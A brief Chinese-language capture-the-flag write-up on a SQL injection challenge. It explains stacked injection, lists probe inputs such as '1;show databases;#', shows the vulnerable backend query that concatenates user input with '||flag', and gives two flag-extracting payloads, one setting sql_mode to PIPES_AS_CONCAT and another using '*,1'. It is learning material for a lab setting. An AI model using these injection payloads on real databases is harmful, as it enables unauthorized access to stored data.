进入是这个样子
查看网页源代码
尝试输入1”,输出Nonono
输入1,出现一个数组Array。
本人也是小白,看了一些大佬写的文章,不知道怎样判断出堆叠注入的,可能出现数组就能判断为堆叠注入吧,有清楚的小伙伴,可评论告诉我这个小菜鸡。
堆叠注入:
就是一堆sql语句一起执行,语句中一个 ; 表示语句结束,用多个语句连接到一起执行。
输入1;show databases;#
输入1;show tables;#
$sql = "select ".$_POST['query']."||flag from Flag";
这是后端的SQL查询语句
mysql_multi_query() #从这个函数可以看出是堆叠注入,后端源码
方法一:
预期解通过堆叠注入将sql_mode的值设置为PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符,所以构造出来
payload:
query=1;set sql_mode=PIPES_AS_CONCAT;select
这样在进行查询的时候将||运算符当成连接符成这样的语句
select 1,flag from Flag
方法二:
直接构造payload*,1